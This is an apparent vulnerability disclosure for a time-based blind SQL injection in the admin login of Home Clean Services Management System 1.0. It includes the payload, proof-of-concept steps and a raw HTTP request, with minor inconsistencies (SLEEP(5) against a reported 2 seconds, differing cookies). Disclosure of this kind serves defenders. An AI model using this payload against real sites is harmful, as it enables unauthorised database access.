

main

...

[webray.com.cn](#) / [cve](#) / [Home Clean Services Management System](#) / HCS_admin_SQL_Inject.md



Xor-Gerke Create HCS_admin_SQL_Inject.md

[History](#)

1 contributor

49 lines (38 sloc) | 2.66 KB

...

Home Clean Services Management System admin/login.php username SQL inject

Exploit Title: Home Clean Services Management System admin/login.php username SQL inject

Exploit Author: webraybtl@webray.com.cn inc

Vendor Homepage: <https://www.sourcecodester.com/php/15293/home-clean-service-free-source-code.html>

Software Link: <https://www.sourcecodester.com/download-code?nid=15293&title=Home+Clean+Service+System+in+PHP+Free+Source+Code>

Version: Home Clean Services Management System 1.0

Tested on: Windows Server 2008 R2 Enterprise, Apache ,Mysql

Description

The reason for the SQL injection vulnerability is that the website application does not verify the validity of the data submitted by the user to the server (type, length, business parameter validity, etc.), and does not effectively filter the data input by the user with special characters, so that the user's input is directly brought into the database for execution, which exceeds the expected result of the original design of the SQL statement, resulting in a SQL injection vulnerability. Home Clean Services Management System does not filter the content correctly at the "Admin/login.php" username module, resulting in the generation of SQL injection.

Payload used:

```
admin%'/**/AND/**/(SELECT/**/5383/**/FROM/**/(SELECT(SLEEP(5)))JPeh)/**/AND/**/'frfq%'='frfq'
```

Proof of Concept

1. Login the CMS. Admin Default Access: Email: admin Password: admin

2. Open Page http://172.24.5.102/HCS/public_html/admin/

3. Put SQL injection payload

(admin%'/**/AND/**/(SELECT/**/5383/**/FROM/**/(SELECT(SLEEP(5)))JPeh)/**/AND/**/'frfq%'='frfq) in the username content and click on Login to publish the page, Viewing the successfully sleep 2 seconds.

The screenshot shows a web browser's developer tools. The top panel displays a list of network requests. The first request is a POST to `http://172.24.5.102/HCS/public_html/admin/login.php` with a status of 200 OK. The bottom panel shows the details of this request. The 'Request' tab is selected, showing the following details:

- Method: POST
- URL: `http://172.24.5.102/HCS/public_html/admin/login.php`
- Host: `172.24.5.102`
- Pragma: `no-cache`
- Accept: `text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng;q=0.8,application/signed-exchange;q=0.9`
- X-Proxyman-Repeated-ID: `9923641D`
- Content-Type: `application/x-www-form-urlencoded`
- Accept-Language: `zh-CN,zh;q=0.9`
- Accept-Encoding: `gzip, deflate`
- Cache-Control: `max-age=0`
- Origin: `http://172.24.5.102`
- User-Agent: `Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36`
- Referer: `http://172.24.5.102/HCS/public_html/admin/index.php`
- Upgrade-Insecure-Requests: `1`
- Content-Length: `124`
- Connection: `close`
- Cookie: `PHPSESSID=fbdak9heg1r2divhtpubv986`

The 'Request' body is shown as a single line of URL-encoded data. The payload `admin%'/**/AND/**/(SELECT/**/5383/**/FROM/**/(SELECT(SLEEP(2)))JPeh)/**/AND/**/'frfq%'='frfq` is highlighted with a red box. The 'Response' tab shows a 200 OK status with the following details:

- Status: 200 OK
- Date: `Mon, 23 May 2022 10:24:17 GMT`
- Server: `Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02`
- X-Powered-By: `PHP/7.0.9`
- Expires: `Thu, 19 Nov 1981 08:52:00 GMT`
- Cache-Control: `no-store, no-cache, must-revalidate`
- Pragma: `no-cache`
- Connection: `close`
- Transfer-Encoding: `chunked`
- Content-Type: `text/html; charset=UTF-8`

4. code

Host: 172.24.5.102

Pragma: no-cache

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap

exchange;v=b3;q=0.9

X-Proxyman-Repeated-ID: 9923641D

Content-Type: application/x-www-form-urlencoded

Accept-Language: zh-CN,zh;q=0.9

Accept-Encoding: gzip, deflate

Cache-Control: max-age=0

Origin: http://172.24.5.102

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36

Referer: http://172.24.5.102/HCS/public_html/admin/index.php

Upgrade-Insecure-Requests: 1

Content-Length: 124

Connection: close

Cookie: PHPSESSID=fjbdak9heg1r2divhtlpubv986

username=admin%'/**/AND/**/(SELECT/**/5383/**/FROM/**/(SELECT(SLEEP(2)))JPeh)/**/AND

